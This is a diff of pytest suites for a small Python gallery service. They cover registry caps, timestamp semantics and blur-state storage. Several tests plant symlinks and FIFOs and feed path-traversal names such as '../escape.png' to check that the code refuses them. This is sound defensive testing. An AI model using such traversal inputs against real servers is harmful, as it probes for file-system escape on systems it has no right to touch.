def test_updated_is_replaced_and_added_is_not(tmp_path, monkeypatch):
|
||||
"""The other half of `test_added_survives_reregistration_updated_does_not`,
|
||||
which asserted only the half in the first clause of its own name.
|
||||
|
||||
The stamp has SECOND resolution, so a fast test cannot tell a replaced
|
||||
`updated` from a frozen one by comparing real clocks — `>=` passes either
|
||||
way, which is a falsifier that cannot fail. The clock is driven instead, so
|
||||
"was it rewritten" is answerable. Cold panel, hulda F12.
|
||||
|
||||
Defeating change: carrying `updated` forward from the prior record the way
|
||||
`added` is carried, which every real-clock assertion in this file survives.
|
||||
"""
|
||||
import booth.benches as B
|
||||
ticks = iter(["2026-01-01T00:00:00+00:00",
|
||||
"2026-06-06T06:06:06+00:00",
|
||||
"2026-12-31T23:59:59+00:00"])
|
||||
monkeypatch.setattr(B, "_now", lambda: next(ticks))
|
||||
|
||||
first, _ = upsert_bench(tmp_path, "http://a.test/", "one", "o")
|
||||
assert first.added == first.updated == "2026-01-01T00:00:00+00:00"
|
||||
|
||||
second, _ = upsert_bench(tmp_path, "http://a.test/", "two", "o")
|
||||
assert second.added == "2026-01-01T00:00:00+00:00", "added must survive an upsert"
|
||||
assert second.updated == "2026-06-06T06:06:06+00:00", "updated must be replaced"
|
||||
|
||||
# A STATE CHANGE IS A MUTATION and bumps it too — this is what the contract
|
||||
# was amended to say, after the panel read "most recent upsert" literally.
|
||||
third = set_bench_state(tmp_path, normalize_bench_url("http://a.test/"), "retired")
|
||||
assert third.added == "2026-01-01T00:00:00+00:00"
|
||||
assert third.updated == "2026-12-31T23:59:59+00:00"
|
||||
|
||||
|
||||
def test_a_registration_cannot_make_the_registry_unreadable(tmp_path):
|
||||
"""Cold contract panel, hulda solo: the write path permitted a file the
|
||||
reader then refuses on size — so the LAST bench somebody added would be the
|
||||
one that made every other bench invisible, and the write that did it
|
||||
reported success.
|
||||
|
||||
Defeating change: dropping the size check from `_write_all`. The reader is
|
||||
lenient about damage and deliberately NOT lenient about size; a writer
|
||||
ignoring a limit its own reader enforces manufactures exactly the state
|
||||
that leniency exists to survive."""
|
||||
from booth.benches import BENCHES_MAX_BYTES, NAME_MAX
|
||||
n = 0
|
||||
while True:
|
||||
n += 1
|
||||
try:
|
||||
upsert_bench(tmp_path, f"http://h{n}.test/{'p' * 1800}", "x" * NAME_MAX, "o")
|
||||
except ValueError as exc:
|
||||
assert "past" in str(exc) and str(BENCHES_MAX_BYTES) in str(exc)
|
||||
break
|
||||
assert n < 500, "never hit the cap; widen the fixture"
|
||||
# THE REGISTRY IS STILL READABLE, and still holds everything that fit.
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert err is None, err
|
||||
assert len(benches) == n - 1
|
||||
|
||||
|
||||
def test_an_over_long_stored_url_is_damage_not_a_silent_clip(tmp_path):
|
||||
"""Cold contract panel, 4-of-4 on cap semantics: "applied at the read" did
|
||||
not say TRUNCATE or REFUSE, and the code had picked truncate for every
|
||||
field. For `name` and `owner` that is right — they are display budgets and
|
||||
clipping costs a few characters in a panel row. For `url` it is wrong:
|
||||
INV-7 promises the click goes to the posted address byte for byte, and a
|
||||
clipped URL keeps that promise in the type system while breaking it in the
|
||||
browser. Defeating change: routing `url` back through `_cap`."""
|
||||
from booth.benches import URL_MAX
|
||||
long_url = "http://a/" + "p" * (URL_MAX + 10)
|
||||
_write_raw(tmp_path, json.dumps({"http://a/": {
|
||||
"url": long_url, "name": "n", "owner": "o", "state": "live"}}))
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert err and benches == [], "an over-long url was clipped into a dead anchor"
|
||||
|
||||
|
||||
def test_name_and_owner_ARE_clipped_at_the_read(tmp_path):
|
||||
"""The other half of the same rule, so the asymmetry is pinned in both
|
||||
directions rather than asserted in one."""
|
||||
from booth.benches import NAME_MAX, OWNER_MAX
|
||||
_write_raw(tmp_path, json.dumps({"http://a/": {
|
||||
"url": "http://a/", "name": "n" * 500, "owner": "o" * 500, "state": "live"}}))
|
||||
benches, err = read_benches(tmp_path)
|
||||
assert err is None
|
||||
assert len(benches[0].name) == NAME_MAX and len(benches[0].owner) == OWNER_MAX
|
||||
|
||||
|
||||
def test_the_benches_panel_is_not_nested_inside_a_span(tmp_path):
|
||||
"""Cold bug-hunt panel, 3-of-4, seat-confirmed by byte offset in the live
|
||||
document: the panel `<div>` had landed INSIDE the booth header's
|
||||
`<span class="sub">`, because the insertion matched the first
|
||||
`{% if board %}` in the template rather than the block-level one.
|
||||
|
||||
A `<div>` inside a `<span>` is invalid HTML — the parser closes the span
|
||||
implicitly and hoists the div out, orphaning the rest of the sub-line. It
|
||||
renders "fine" in the sense that nothing 500s, which is exactly why no
|
||||
other test in this file could see it.
|
||||
|
||||
Checked the way the seat checked it: by offset. Defeating change: moving
|
||||
the panel back above the sub-span's close."""
|
||||
_board(tmp_path, ROW_REF)
|
||||
upsert_bench(tmp_path, "https://talk.test/", "talk", "o")
|
||||
body = _client(tmp_path).get("/b/links/").text
|
||||
sub_open = body.index('<span class="sub">')
|
||||
sub_close = body.index("</span>", body.index("· ", sub_open))
|
||||
panel = body.index('<div class="benches">')
|
||||
assert not (sub_open < panel < sub_close), (
|
||||
f"the benches div (offset {panel}) sits inside the sub span "
|
||||
f"({sub_open}..{sub_close})")
|
||||
|
||||
|
||||
def test_a_symlinked_booth_is_dead_to_the_marker_as_it_is_to_the_page(tmp_path):
|
||||
"""Cold bug-hunt panel, 3-of-4: `_booth_exists` used a bare `is_dir()`
|
||||
while `resolve_booth` resolves and requires the parent to BE the data root.
|
||||
They disagreed on a symlink — the marker called a booth pointing outside
|
||||
the root alive while the page 404s it, so the row rendered healthy and the
|
||||
link was dead. The worst of both, and invisible.
|
||||
|
||||
Defeating change: dropping the containment check from `_booth_exists`."""
|
||||
outside = tmp_path.parent / f"outside-{tmp_path.name}"
|
||||
outside.mkdir()
|
||||
try:
|
||||
(tmp_path / "escapee").symlink_to(outside, target_is_directory=True)
|
||||
except OSError:
|
||||
pytest.skip("no symlink support here")
|
||||
_board(tmp_path, "- [x](http://h:8090/b/escapee/) <sub>· a · 2026-09-01 00:00</sub>\n")
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/links/")
|
||||
assert body.status_code == 200
|
||||
# the page's own verdict on that name, which the marker must agree with
|
||||
assert c.get("/b/escapee/").status_code == 404
|
||||
assert _dead_rows(body.text), "the marker called a booth alive that the page 404s"
|
||||
@@ -0,0 +1,445 @@
|
||||
"""Per-item blur storage — `.blurred` round-trips any rel, whoever writes it.
|
||||
|
||||
`.blurred` was one stripped rel per line, so a rel with a leading space could
|
||||
not survive a write: blurring " a.png" stored "a.png", and toggled the
|
||||
neighbour instead (heid bug-hunt on r2b merge 1, reported to booth-dev). The set
|
||||
now lives in `.blurred.json`, a JSON array (the `.seen` shape), read without
|
||||
following a link or blocking on a FIFO. The legacy `.blurred` is still READ, as
|
||||
lines, while no `.blurred.json` exists; the first write retires it. Two names,
|
||||
so neither format is ever sniffed (heid bug-hunt on this change, 3 of 3 arms).
|
||||
|
||||
Two writers share the file: the service (the operator's per-item control) and
|
||||
`scripts/booth blur` (a session at post time). Both go through `booth.blur`,
|
||||
which is stdlib-only so the CLI can import it under the system python3.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import pathlib
|
||||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
|
||||
import pytest
|
||||
|
||||
from fastapi.testclient import TestClient
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from booth.app import BLUR_FILE, create_app, read_blurred, set_blurred # noqa: E402
|
||||
from booth.blur import BLUR_MAX_BYTES, LEGACY_BLUR_FILE, BlurUnwritable # noqa: E402
|
||||
from booth.items import booth_items # noqa: E402
|
||||
|
||||
PNG = b"\x89PNG\r\n\x1a\n"
|
||||
SCRIPT = pathlib.Path(__file__).parent.parent / "scripts" / "booth"
|
||||
|
||||
|
||||
def _booth(root: pathlib.Path, name: str, files: dict[str, bytes]) -> pathlib.Path:
|
||||
b = root / name
|
||||
b.mkdir()
|
||||
for rel, data in files.items():
|
||||
(b / rel).write_bytes(data)
|
||||
return b
|
||||
|
||||
|
||||
def _within(seconds: float, fn):
|
||||
"""Run fn in a thread and fail, rather than hang the suite, if it blocks."""
|
||||
out: dict = {}
|
||||
t = threading.Thread(target=lambda: out.setdefault("v", fn()), daemon=True)
|
||||
t.start()
|
||||
t.join(seconds)
|
||||
assert not t.is_alive(), f"{fn} blocked for over {seconds}s"
|
||||
return out["v"]
|
||||
|
||||
|
||||
# ---- the round-trip: the defect ---------------------------------------------
|
||||
|
||||
|
||||
def test_a_leading_space_rel_round_trips(tmp_path):
|
||||
"""Defeating change: storing rels line-stripped (the old format)."""
|
||||
set_blurred(tmp_path, " a.png", True)
|
||||
assert read_blurred(tmp_path) == {" a.png"}
|
||||
|
||||
|
||||
def test_unblurring_a_leading_space_rel_leaves_its_neighbour_blurred(tmp_path):
|
||||
"""The reported wrong-item write: " a.png" and "a.png" are two items, and
|
||||
toggling one must never move the other. (Unblurring the SPACED one would
|
||||
pass under the old format too — it was a no-op there — so this unblurs the
|
||||
plain one and asks whether the spaced one survived.)"""
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
set_blurred(tmp_path, " a.png", True)
|
||||
set_blurred(tmp_path, "a.png", False)
|
||||
assert read_blurred(tmp_path) == {" a.png"}
|
||||
|
||||
|
||||
def test_a_newline_in_a_rel_round_trips(tmp_path):
|
||||
"""A line format cannot hold one at all."""
|
||||
set_blurred(tmp_path, "two\nlines.png", True)
|
||||
assert read_blurred(tmp_path) == {"two\nlines.png"}
|
||||
|
||||
|
||||
def test_the_file_is_a_json_array_in_sorted_order(tmp_path):
|
||||
"""The `.seen` shape, and a stated order (invariant 6) so two writes of the
|
||||
same set are byte-identical."""
|
||||
set_blurred(tmp_path, "b.png", True)
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert json.loads((tmp_path / BLUR_FILE).read_text("utf-8")) == ["a.png", "b.png"]
|
||||
|
||||
|
||||
def test_emptying_the_set_removes_the_file(tmp_path):
|
||||
"""Unchanged: an empty marker is a lie by omission."""
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
set_blurred(tmp_path, "a.png", False)
|
||||
assert not (tmp_path / BLUR_FILE).exists()
|
||||
|
||||
|
||||
# ---- the legacy format: nothing live changes until it is written ------------
|
||||
|
||||
|
||||
def test_the_legacy_line_format_still_reads(tmp_path):
|
||||
"""Six live booths hold line-format files. Defeating change: a JSON-only
|
||||
reader, which would un-blur every one of them on deploy."""
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text("a.png\nsub/b.png\n\n")
|
||||
assert read_blurred(tmp_path) == {"a.png", "sub/b.png"}
|
||||
|
||||
|
||||
def test_a_legacy_rel_that_starts_with_a_bracket_still_reads(tmp_path):
|
||||
"""A line-format file whose first rel happens to begin with "[" is not
|
||||
JSON, and must fall back to lines rather than read as nothing."""
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text("[draft] a.png\nb.png\n")
|
||||
assert read_blurred(tmp_path) == {"[draft] a.png", "b.png"}
|
||||
|
||||
|
||||
def test_a_write_upgrades_a_legacy_file_and_keeps_its_rels(tmp_path):
|
||||
"""And retires the legacy file, so it can never speak again."""
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text("a.png\n")
|
||||
set_blurred(tmp_path, "b.png", True)
|
||||
assert json.loads((tmp_path / BLUR_FILE).read_text("utf-8")) == ["a.png", "b.png"]
|
||||
assert not (tmp_path / LEGACY_BLUR_FILE).exists()
|
||||
|
||||
|
||||
# ---- a planted file: never blocks, never follows ----------------------------
|
||||
|
||||
|
||||
def test_a_fifo_blur_file_does_not_block_the_read(tmp_path):
|
||||
"""read_blurred runs for every booth the Desk renders; a FIFO with no writer
|
||||
used to hang it — the outage class `.seen` was built against."""
|
||||
os.mkfifo(tmp_path / BLUR_FILE)
|
||||
assert _within(5, lambda: read_blurred(tmp_path)) == set()
|
||||
|
||||
|
||||
def test_a_symlinked_blur_file_is_not_followed_on_read(tmp_path):
|
||||
outside = tmp_path / "outside.json"
|
||||
outside.write_text('["a.png"]')
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / BLUR_FILE).symlink_to(outside)
|
||||
assert read_blurred(b) == set()
|
||||
|
||||
|
||||
def test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it(tmp_path):
|
||||
outside = tmp_path / "outside.txt"
|
||||
outside.write_text("untouched")
|
||||
b = tmp_path / "b"
|
||||
b.mkdir()
|
||||
(b / BLUR_FILE).symlink_to(outside)
|
||||
set_blurred(b, "a.png", True)
|
||||
assert outside.read_text() == "untouched"
|
||||
assert not (b / BLUR_FILE).is_symlink()
|
||||
assert read_blurred(b) == {"a.png"}
|
||||
|
||||
|
||||
def test_malformed_json_array_contents_are_skipped_not_fatal(tmp_path):
|
||||
(tmp_path / BLUR_FILE).write_text('["a.png", 3, null, ["x"]]')
|
||||
assert read_blurred(tmp_path) == {"a.png"}
|
||||
|
||||
|
||||
# ---- the route: the operator's per-item control -----------------------------
|
||||
|
||||
|
||||
def test_the_blur_route_blurs_exactly_the_item_it_names(tmp_path):
|
||||
"""The route stripped `f` before writing, so the form for " a.png" blurred
|
||||
"a.png". Defeating change: `f.strip()` back in the route."""
|
||||
b = _booth(tmp_path, "g", {" a.png": PNG, "a.png": PNG})
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
r = c.post("/b/g/blur", data={"f": " a.png", "on": "1"}, follow_redirects=False)
|
||||
assert r.status_code == 303
|
||||
blurred = {it.rel: it.blurred for it in booth_items(b)}
|
||||
assert blurred == {" a.png": True, "a.png": False}
|
||||
|
||||
|
||||
# ---- the CLI: the other writer ----------------------------------------------
|
||||
|
||||
|
||||
def _cli(data: pathlib.Path, *args: str) -> subprocess.CompletedProcess:
|
||||
env = {**os.environ, "BOOTH_DATA_DIR": str(data), "BOOTH_URL": "http://booth.invalid"}
|
||||
return subprocess.run([str(SCRIPT), *args], capture_output=True, text=True, env=env, timeout=30)
|
||||
|
||||
|
||||
def test_the_cli_writes_the_format_the_service_reads(tmp_path):
|
||||
"""Both writers, one format. Defeating change: the CLI keeping its own
|
||||
grep/printf line writer, which appends a line to a JSON array."""
|
||||
b = _booth(tmp_path, "g", {" a.png": PNG, "a.png": PNG})
|
||||
set_blurred(b, "a.png", True) # the service wrote first
|
||||
r = _cli(tmp_path, "blur", "g", " a.png")
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert read_blurred(b) == {"a.png", " a.png"}
|
||||
r = _cli(tmp_path, "unblur", "g", " a.png")
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert read_blurred(b) == {"a.png"}
|
||||
|
||||
|
||||
def test_the_cli_unblurring_the_last_item_removes_the_file(tmp_path):
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
assert _cli(tmp_path, "blur", "g", "a.png").returncode == 0
|
||||
assert _cli(tmp_path, "unblur", "g", "a.png").returncode == 0
|
||||
assert not (b / BLUR_FILE).exists()
|
||||
|
||||
|
||||
def test_the_cli_still_refuses_a_dotdot_path(tmp_path):
|
||||
_booth(tmp_path, "g", {"a.png": PNG})
|
||||
r = _cli(tmp_path, "blur", "g", "../escape.png")
|
||||
assert r.returncode == 2
|
||||
assert not (tmp_path / "g" / BLUR_FILE).exists()
|
||||
|
||||
|
||||
# ---- one read of blur state per render (invariant 3) ------------------------
|
||||
|
||||
|
||||
def test_the_item_record_carries_its_own_blur_apart_from_the_booths(tmp_path):
|
||||
"""r2b's per-item control needs the item's OWN blur as well as the composed
|
||||
one. It came from a second `read_blurred` in build_gallery — a second reader
|
||||
of one file, which a write between the two could split. It is now resolved
|
||||
in `booth_items`, from the one read the composed fact already uses."""
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG, "b.png": PNG})
|
||||
set_blurred(b, "a.png", True)
|
||||
(b / ".blurbooth").write_bytes(b"")
|
||||
got = {it.rel: (it.blurred, it.blurred_self) for it in booth_items(b)}
|
||||
assert got == {"a.png": (True, True), "b.png": (True, False)}
|
||||
|
||||
|
||||
def test_app_py_never_reads_the_blur_file_itself():
|
||||
"""Invariant 3, extended from route bodies to the whole module: blur state
|
||||
is read in `booth_items` and nowhere in app.py. Defeating change: the
|
||||
second `read_blurred` in build_gallery."""
|
||||
import ast
|
||||
src = pathlib.Path(__file__).parent.parent / "booth" / "app.py"
|
||||
calls = [
|
||||
n for n in ast.walk(ast.parse(src.read_text()))
|
||||
if isinstance(n, ast.Call) and getattr(n.func, "id", getattr(n.func, "attr", None)) == "read_blurred"
|
||||
]
|
||||
assert calls == []
|
||||
|
||||
|
||||
# ---- the heid bug-hunt on this change (3 arms), folded -------------------------
|
||||
|
||||
|
||||
@pytest.mark.parametrize("line", ['["a.png"]', "[]", "[1,2]"])
|
||||
def test_a_legacy_line_that_is_valid_json_still_reads_as_a_line(tmp_path, line):
|
||||
"""3 of 3 arms. Sniffing one file for two formats misread a legacy file
|
||||
whose ONE line is an item literally named like a JSON array: `["a.png"]`
|
||||
read as {"a.png"}, un-blurring the item and blurring its neighbour — the bug
|
||||
this change exists to fix, recreated by its migration. Defeating change:
|
||||
trying JSON on the legacy file."""
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text(line + "\n")
|
||||
assert read_blurred(tmp_path) == {line}
|
||||
|
||||
|
||||
def test_a_stale_legacy_file_is_silent_once_the_current_one_exists(tmp_path):
|
||||
(tmp_path / LEGACY_BLUR_FILE).write_text("old.png\n")
|
||||
(tmp_path / BLUR_FILE).write_text('["new.png"]')
|
||||
assert read_blurred(tmp_path) == {"new.png"}
|
||||
|
||||
|
||||
def test_a_planted_directory_at_the_blur_file_is_a_refusal_not_a_crash(tmp_path):
|
||||
"""2 of 3 arms plus a third from another angle: the reader was hardened
|
||||
against a planted directory, the writer was not, and `os.replace` onto a
|
||||
directory raised IsADirectoryError through the route. Defeating change:
|
||||
letting the OSError out of set_blurred."""
|
||||
(tmp_path / BLUR_FILE).mkdir()
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert (tmp_path / BLUR_FILE).is_dir(), "a planted directory is not ours to remove"
|
||||
|
||||
|
||||
def test_unblurring_under_a_planted_directory_is_not_an_error(tmp_path):
|
||||
"""Nothing reads as blurred and nothing was asked to be: the reader agrees
|
||||
with the request, so there is nothing to refuse. A directory holds no set,
|
||||
so strict writes (below) have nothing to protect here."""
|
||||
(tmp_path / BLUR_FILE).mkdir()
|
||||
assert set_blurred(tmp_path, "a.png", False) == set()
|
||||
|
||||
|
||||
def test_a_planted_directory_at_the_legacy_name_does_not_block_a_write(tmp_path):
|
||||
(tmp_path / LEGACY_BLUR_FILE).mkdir()
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert read_blurred(tmp_path) == {"a.png"}
|
||||
|
||||
|
||||
def test_the_route_answers_a_planted_directory_with_409(tmp_path):
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
(b / BLUR_FILE).mkdir()
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
r = c.post("/b/g/blur", data={"f": "a.png", "on": "1"}, follow_redirects=False)
|
||||
assert r.status_code == 409
|
||||
|
||||
|
||||
def test_a_lone_surrogate_in_the_file_is_skipped_and_writes_still_work(tmp_path):
|
||||
"""hulda, execution-verified: `"\\ud800"` is a valid JSON string no filename
|
||||
can produce, and the writer's UTF-8 encode raised on it, so one planted
|
||||
escape froze the booth's blur. Defeating change: keeping every str member."""
|
||||
(tmp_path / BLUR_FILE).write_text('["\\ud800", "a.png"]')
|
||||
assert read_blurred(tmp_path) == {"a.png"}
|
||||
assert set_blurred(tmp_path, "b.png", True) == {"a.png", "b.png"}
|
||||
|
||||
|
||||
@pytest.mark.parametrize("rel", ["", "/abs.png", "a/../b.png", "..", "\ud800.png"])
|
||||
def test_a_rel_that_is_not_an_item_path_is_refused(tmp_path, rel):
|
||||
with pytest.raises(ValueError):
|
||||
set_blurred(tmp_path, rel, True)
|
||||
assert not (tmp_path / BLUR_FILE).exists()
|
||||
|
||||
|
||||
def test_a_double_dot_inside_a_name_is_an_item_path(tmp_path):
|
||||
"""A `..` COMPONENT is an escape; `a..b.png` is a filename."""
|
||||
assert set_blurred(tmp_path, "a..b.png", True) == {"a..b.png"}
|
||||
|
||||
|
||||
def test_the_route_refuses_an_empty_rel(tmp_path):
|
||||
"""kimi: `f="/"` stripped to "" and was stored as a member no item can have."""
|
||||
_booth(tmp_path, "g", {"a.png": PNG})
|
||||
c = TestClient(create_app(tmp_path, ttl_hours=24, start_sweeper=False))
|
||||
r = c.post("/b/g/blur", data={"f": "/", "on": "1"}, follow_redirects=False)
|
||||
assert r.status_code == 400
|
||||
assert not (tmp_path / "g" / BLUR_FILE).exists()
|
||||
|
||||
|
||||
def test_the_writer_never_writes_a_set_the_reader_would_refuse(tmp_path, monkeypatch):
|
||||
"""2 of 3 arms: nothing capped the writer, the reader refuses a file over
|
||||
the cap and reads it as EMPTY, so the write that crossed it revealed every
|
||||
item. Defeating change: no size check before the write."""
|
||||
import booth.blur as blur
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", len(b'["a.png"]') + 3)
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "bbbbbbbb.png", True)
|
||||
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", BLUR_MAX_BYTES)
|
||||
assert read_blurred(tmp_path) == {"a.png"}, "a refused write changed the set"
|
||||
|
||||
|
||||
def test_the_cli_accepts_a_double_dot_inside_a_name(tmp_path):
|
||||
"""2 of 3 arms: the CLI's `*..*` substring guard refused `a..b.png`, which
|
||||
the route accepts. One predicate now serves both."""
|
||||
b = _booth(tmp_path, "g", {"a..b.png": PNG})
|
||||
r = _cli(tmp_path, "blur", "g", "a..b.png")
|
||||
assert r.returncode == 0, r.stderr
|
||||
assert read_blurred(b) == {"a..b.png"}
|
||||
|
||||
|
||||
def test_the_cli_refuses_an_empty_item_path_before_writing(tmp_path):
|
||||
"""regin: `booth blur g /` stored an empty member. Refused, and a valid
|
||||
item named alongside it is not written either."""
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
r = _cli(tmp_path, "blur", "g", "a.png", "/")
|
||||
assert r.returncode == 2
|
||||
assert read_blurred(b) == set()
|
||||
|
||||
|
||||
def test_the_cli_refuses_a_planted_directory_with_a_message(tmp_path):
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
(b / BLUR_FILE).mkdir()
|
||||
r = _cli(tmp_path, "blur", "g", "a.png")
|
||||
assert r.returncode == 3
|
||||
assert "Traceback" not in r.stderr and BLUR_FILE in r.stderr
|
||||
|
||||
|
||||
def test_the_cli_fails_closed_without_its_package(tmp_path):
|
||||
"""kimi: the `link` verb says why and exits 3 when booth/ is missing; the
|
||||
`blur` verb died with a bare traceback. Same deployment shape as
|
||||
test_cli's link test: the script alone, no package beside it."""
|
||||
b = _booth(tmp_path, "g", {"a.png": PNG})
|
||||
lone = tmp_path / "lone" / "scripts"
|
||||
lone.mkdir(parents=True)
|
||||
(lone / "booth").write_text(SCRIPT.read_text())
|
||||
(lone / "booth").chmod(0o755)
|
||||
env = {k: v for k, v in os.environ.items() if k != "PYTHONPATH"}
|
||||
env.update(BOOTH_DATA_DIR=str(tmp_path), BOOTH_URL="http://booth.invalid")
|
||||
r = subprocess.run([str(lone / "booth"), "blur", "g", "a.png"], capture_output=True,
|
||||
text=True, env=env, cwd="/tmp", timeout=30)
|
||||
assert r.returncode == 3
|
||||
assert "Traceback" not in r.stderr
|
||||
assert read_blurred(b) == set()
|
||||
|
||||
|
||||
def test_a_fifo_at_the_legacy_name_does_not_block_the_read(tmp_path):
|
||||
os.mkfifo(tmp_path / LEGACY_BLUR_FILE)
|
||||
assert _within(5, lambda: read_blurred(tmp_path)) == set()
|
||||
|
||||
|
||||
# ---- reads lenient, writes strict (groa's retry, and marks' lesson) ------------
|
||||
#
|
||||
# The reader turns anything it cannot read into an EMPTY set, which is right for
|
||||
# rendering: a damaged file costs the blur, never the page. A writer that builds
|
||||
# on that empty set then replaces the file, and whatever it could not read is
|
||||
# gone. That is the `.marks.json` wipe of 2026-09-21
|
||||
# (persistent-memory.d/2026-09-21-marks-write-wiped-judgment.md), and a
|
||||
# cross-uid reader that got EACCES would do it here (groa).
|
||||
|
||||
|
||||
def test_an_unreadable_blur_file_is_never_overwritten(tmp_path):
|
||||
"""Defeating change: set_blurred building on the lenient reader."""
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
before = (tmp_path / BLUR_FILE).read_bytes()
|
||||
os.chmod(tmp_path / BLUR_FILE, 0)
|
||||
try:
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "b.png", True)
|
||||
finally:
|
||||
os.chmod(tmp_path / BLUR_FILE, 0o644)
|
||||
assert (tmp_path / BLUR_FILE).read_bytes() == before
|
||||
|
||||
|
||||
def test_a_malformed_blur_file_is_never_overwritten(tmp_path):
|
||||
(tmp_path / BLUR_FILE).write_text("not json at all")
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert (tmp_path / BLUR_FILE).read_text() == "not json at all"
|
||||
|
||||
|
||||
def test_an_oversized_blur_file_is_never_overwritten(tmp_path, monkeypatch):
|
||||
import booth.blur as blur
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
before = (tmp_path / BLUR_FILE).read_bytes()
|
||||
monkeypatch.setattr(blur, "BLUR_MAX_BYTES", 4)
|
||||
with pytest.raises(BlurUnwritable):
|
||||
set_blurred(tmp_path, "b.png", False)
|
||||
assert (tmp_path / BLUR_FILE).read_bytes() == before
|
||||
|
||||
|
||||
def test_the_blur_file_is_world_readable_as_it_always_was(tmp_path):
|
||||
"""groa: mkstemp creates 0600, where the line-format writer left 0644, so a
|
||||
reader under another uid saw nothing. Defeating change: no chmod."""
|
||||
set_blurred(tmp_path, "a.png", True)
|
||||
assert (tmp_path / BLUR_FILE).stat().st_mode & 0o777 == 0o644
|
||||
|
||||
|
||||
# The open flags are the SECOND layer: `_load` lstat-checks for a regular file
|
||||
# first, so a FIFO or a link never reaches `os.open` through the public API, and
|
||||
# a mutation run found the flags VACUOUS there. They still close the race (a
|
||||
# file swapped for a FIFO or a link between the lstat and the open), so they
|
||||
# are held to account directly, where nothing stands in front of them.
|
||||
|
||||
|
||||
def test_the_raw_read_never_blocks_on_a_fifo(tmp_path):
|
||||
from booth.blur import _read_capped
|
||||
os.mkfifo(tmp_path / "f")
|
||||
assert _within(5, lambda: _read_capped(tmp_path / "f")) is None
|
||||
|
||||
|
||||
def test_the_raw_read_never_follows_a_link(tmp_path):
|
||||
from booth.blur import _read_capped
|
||||
(tmp_path / "real.json").write_text('["a.png"]')
|
||||
(tmp_path / "link").symlink_to(tmp_path / "real.json")
|
||||
assert _read_capped(tmp_path / "link") is None
|
||||
+280
-66
@@ -16,7 +16,7 @@ from booth.app import (
|
||||
remove_link_entry,
|
||||
toggle_pin,
|
||||
booth_age_seconds,
|
||||
FAVICON_LINK,
|
||||
EMBED_SCRIPT_TAG,
|
||||
KEEP_MARKER,
|
||||
build_gallery,
|
||||
classify,
|
||||
@@ -30,7 +30,6 @@ from booth.app import (
|
||||
render_doc,
|
||||
safe_upload_name,
|
||||
sweep_once,
|
||||
wrap_verbatim_html,
|
||||
)
|
||||
|
||||
PICKUP_RE = re.compile(r"^(\d{1,2}-[a-z]+|[a-z]+-\d{1,2})$")
|
||||
@@ -345,6 +344,50 @@ def test_safe_upload_name():
|
||||
assert safe_upload_name("...", "fb") == "fb"
|
||||
|
||||
|
||||
def test_safe_upload_name_drops_nul_before_the_dot_rule():
|
||||
# NUL is the one byte no POSIX filename can hold; open() raises ValueError on it
|
||||
assert safe_upload_name("a\x00b.png", "fb") == "ab.png"
|
||||
assert safe_upload_name("\x00", "fb") == "fb"
|
||||
# stripped FIRST, so a NUL cannot shield a leading dot from the hide rule
|
||||
assert safe_upload_name("\x00.hidden", "fb") == "hidden"
|
||||
|
||||
|
||||
def test_safe_upload_name_caps_bytes_not_characters():
|
||||
# NAME_MAX is 255 BYTES: 200 two-byte characters are 400 of them
|
||||
name = safe_upload_name("é" * 200, "fb")
|
||||
assert len(name.encode("utf-8")) <= 200
|
||||
assert name == "é" * 100
|
||||
# a cut through a multibyte character drops the partial character, never mangles it
|
||||
assert safe_upload_name("a" + "é" * 150, "fb") == "a" + "é" * 99
|
||||
|
||||
|
||||
def test_safe_upload_name_keeps_the_extension_through_the_cut():
|
||||
# the cut comes out of the stem: a cut `.png` is no longer an image, and a
|
||||
# name that USED to fit (80 CJK characters, 240 bytes) must not lose its kind
|
||||
assert safe_upload_name("é" * 200 + ".png", "fb") == "é" * 98 + ".png"
|
||||
assert classify(safe_upload_name("画" * 80 + ".png", "fb")) == "image"
|
||||
# a 5-byte extension is kept as well as a 4-byte one
|
||||
assert safe_upload_name("é" * 200 + ".jpeg", "fb") == "é" * 97 + ".jpeg"
|
||||
# an "extension" too long to be one is cut like any other text
|
||||
long_ext = safe_upload_name("a." + "é" * 150, "fb")
|
||||
assert len(long_ext.encode("utf-8")) <= 200 and long_ext.startswith("a.é")
|
||||
|
||||
|
||||
def test_safe_upload_name_never_manufactures_a_kind():
|
||||
# a cut through a long suffix can land on a SHORTER one: `.pngxxx…` is not
|
||||
# an image, and its cut `….png` would be (heid bug hunt, hulda)
|
||||
